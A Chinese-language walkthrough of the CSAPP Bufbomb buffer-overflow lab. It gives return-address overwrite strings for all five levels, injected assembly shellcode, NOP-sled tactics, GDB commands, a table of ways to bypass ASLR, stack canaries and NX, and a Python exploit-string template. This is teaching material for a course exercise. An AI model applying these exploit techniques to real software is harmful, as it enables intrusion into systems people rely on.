CSAPP Bufbomb 实验:5 个难度级别缓冲区溢出攻击实战与栈帧分析
1. 实验环境与工具链配置
在开始缓冲区溢出攻击实验前,需要准备以下环境:
- Linux 系统:推荐 Ubuntu 18.04+ 或 CentOS 7+
- 必要工具:
sudo apt-get install gcc gdb python3 python3-pip build-essential - 实验文件:
bufbomb:目标可执行程序bufbomb.c:主程序源码(参考用)makecookie:生成唯一 cookie 值hex2raw:字符串格式转换工具
提示:使用
objdump -d bufbomb > bufbomb.asm生成反汇编代码,这是后续分析的重要依据。
2. IA-32 栈帧结构与关键寄存器
理解栈帧结构是攻击的基础,典型函数调用栈布局如下:
| 内存地址 | 内容 | 说明 |
|---|---|---|
| 高地址 | 参数 N | 调用者压入的参数 |
| ... | ... | ... |
| 低地址 | 返回地址 | call 指令下一条指令地址 |
| 旧的 %ebp | 被调用者保存的帧指针 | |
| 局部变量(如 buf) | 函数内部定义的变量 |
关键寄存器作用:
- %eip:指令指针,存储下一条要执行的指令地址
- %esp:栈指针,始终指向栈顶
- %ebp:基址指针,标记当前栈帧起始位置
3. 五阶段攻击实战详解
3.1 Smoke(Level 0):基础返回地址覆盖
攻击目标:使getbuf()返回到smoke()而非原调用者。
操作步骤:
确定
smoke()地址:objdump -d bufbomb | grep smoke示例输出:
08048c18 <smoke>:计算填充长度:
buf大小:0x28 (40) 字节- 覆盖保存的 %ebp:+4 字节
- 覆盖返回地址:+4 字节
- 总长度:48 字节
构造攻击字符串:
00 00 00 00 ... (44个00) 18 8c 04 08使用小端格式写入返回地址。
3.2 Fizz(Level 1):带参数函数跳转
攻击目标:跳转到fizz(cookie)并传递正确的 cookie 值。
关键步骤:
分析
fizz()参数位置:mov 0x8(%ebp), %eax # 参数位于 ebp+8栈布局设计:
[任意40字节][旧ebp][fizz地址][返回地址][cookie] ↑ ebp示例攻击字符串(假设 cookie=0x12345678):
00 00 00 00 ... (40个00) 00 00 00 00 42 8c 04 08 00 00 00 00 78 56 34 12
3.3 Bang(Level 2):注入可执行代码
攻击目标:注入汇编代码修改全局变量global_value。
攻击代码示例(bang.s):
movl $0x12345678, 0x804d100 # 修改 global_value push $0x08048c9d # bang() 地址 ret # 跳转到 bang编译与提取机器码:
gcc -m32 -c bang.s && objdump -d bang.o关键技巧:
- 确定
buf起始地址(通过 GDB) - 用 NOP sled 增加命中概率
3.4 Boom(Level 3):精确栈帧恢复
攻击目标:使getbuf()正常返回,但返回值为 cookie。
解决方案:
注入代码设置返回值:
mov $0x12345678, %eax # 设置返回值 push $0x08048dbe # 原返回地址 ret精确恢复栈帧:
- 通过 GDB 获取原 %ebp 值
- 在攻击字符串中包含正确的 %ebp
3.5 Nitro(Level 4):对抗地址随机化
特殊挑战:每次运行时栈地址不同。
应对策略:
- NOP sled:用大量 NOP(0x90) 指令填充
- 宽返回地址:覆盖为可能的最大地址
- 相对地址计算:通过 %esp 推算关键地址
示例攻击代码:
lea 0x28(%esp), %ebp # 动态计算 %ebp mov $0x12345678, %eax # 设置返回值 push $0x08048e3a # testn 中的返回地址 ret4. GDB 调试实战技巧
4.1 关键断点设置
gdb bufbomb (gdb) break *0x080490a3 # getbuf 中 Gets 调用前 (gdb) break *0x080490a8 # Gets 返回后4.2 栈内存检查命令
(gdb) x/20xw $esp # 查看栈顶20个字 (gdb) info frame # 查看当前栈帧信息 (gdb) p $ebp # 查看当前ebp值4.3 寄存器修改技巧
(gdb) set {int}0xbffff6bc = 0x08048e8b # 直接修改内存 (gdb) set $eax = 0x12345678 # 修改寄存器5. 高级攻击技术与防御
5.1 现代防御机制
| 机制 | 作用 | 绕过方法 |
|---|---|---|
| ASLR | 随机化内存布局 | 信息泄露+暴力破解 |
| Stack Canary | 检测栈破坏 | 覆盖 canary 或跳过他 |
| NX/DEP | 阻止栈执行代码 | ROP/JOP 攻击 |
5.2 攻击字符串生成模板
import struct def build_exploit(): buf = b'A' * 40 # 填充缓冲区 buf += struct.pack("<I", 0xdeadbeef) # 覆盖 ebp buf += struct.pack("<I", 0x08048c18) # 返回地址 return buf实际项目中,缓冲区溢出漏洞的利用需要考虑更多现实约束,但本实验提供的五个难度级别完整覆盖了从基础到高级的攻击技术演进路径。通过结合 GDB 调试与汇编代码分析,可以深入理解计算机系统底层的安全机制设计原理。